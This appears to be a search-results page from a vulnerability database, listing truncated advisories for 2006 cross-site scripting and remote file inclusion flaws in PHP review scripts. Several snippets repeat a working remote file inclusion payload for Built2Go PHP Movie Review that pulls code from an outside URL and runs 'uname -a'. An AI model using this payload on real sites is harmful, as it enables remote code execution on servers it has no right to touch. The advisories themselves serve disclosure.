5331 matches found
CVE-2006-3061
Multiple cross-site scripting XSS vulnerabilities in 5 Star Review allow remote attackers to inject arbitrary web script or HTML via the 1 sort parameter in index2.php, 2 itemid parameter in report.php, 3 searchterm parameter aka the "search box" in searchreviews.php, 4 the profile field in...
CVE-2006-3061: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in 5 Star Review allow remote attackers to inject arbitrary web script or HTML via the 1 sort parameter in index2.php, 2 itemid parameter in report.php, 3 searchterm parameter aka the "search box" in searchreviews.php, 4 the profile field in...
Five Star Review Script - report.php?item_id Cross-Site Scripting
Five Star Review Script - report.php?itemid Cross-Site Scripting source: https://www.securityfocus.com/bid/18390/info Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these...
Five Star Review Script - 'report.php?item_id' Cross-Site Scripting
source: https://www.securityfocus.com/bid/18390/info Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to run arbitrary HTML and script code in the browser of a...
CVE-2006-2618
Cross-site scripting XSS vulnerability in 1 AlstraSoft Web Host Directory 1.2, aka 2 HyperStop WebHost Directory 1.2, might allow remote attackers to inject arbitrary web script or HTML via the "write a review" box. NOTE: since user reviews do not require administrator privileges, and an...
Cross site scripting
Cross-site scripting XSS vulnerability in 1 AlstraSoft Web Host Directory 1.2, aka 2 HyperStop WebHost Directory 1.2, might allow remote attackers to inject arbitrary web script or HTML via the "write a review" box. NOTE: since user reviews do not require administrator privileges, and an...
CVE-2006-2618: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in 1 AlstraSoft Web Host Directory 1.2, aka 2 HyperStop WebHost Directory 1.2, might allow remote attackers to inject arbitrary web script or HTML via the "write a review" box. NOTE: since user reviews do not require administrator privileges, and an...
AlstraSoft Web Host Directory v1.2
AlstraSoft Web Host Directory v1.2 Homepage: http://www.alstrasoft.com/ It should be noted too that the demo for this script is on a different domain which also sells a WebHost Directory which looks to be the same product/company called HyperStop WebHost Directory 1.2. Both scripts seem to be the...
CVE-2006-2008
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
Remote file inclusion
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
CVE-2006-2008
The CVE-2006-2008 issue affects Built2Go PHP Movie Review 2B and earlier, via PHP file movie_cls.php. The underlying flaw is a remote file inclusion vulnerability that allows an attacker to execute arbitrary PHP code by supplying a URL in the full_path parameter. References include historical adv...
EUVD-2006-2009
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
CVE-2006-2008: Undefined Security Weakness
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
[SA19749] built2go Movie Review "full_path" File Inclusion Vulnerability
TITLE: built2go Movie Review "fullpath" File Inclusion Vulnerability SECUNIA ADVISORY ID: SA19749 VERIFY ADVISORY: http://secunia.com/advisories/19749/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: built2go Movie Review 1.x http://secunia.com/product/9515/...
Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== Built2Go PHP Movie Review = 2B Remote File Inclusion Vulnerability =================================================================== Built2Go PHP Movie Review =2B Remote...
Built2Go PHP Movie Review 2B - Remote File Inclusion
Built2Go PHP Movie Review 2B - Remote File Inclusion Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
No description provided by source. Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
Built2Go PHP Movie Review 2B - Remote File Inclusion
Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
For the new network domain name Management System Security reviews-exploits warning-the black bar safety net
It is well known, the new network users in China domain name registration industry, the proportion of the column is still very large. But I found a new web domain system, there exists a safety hazard. One day I From the agent the domain Control Panel login to the new network there, accidentally...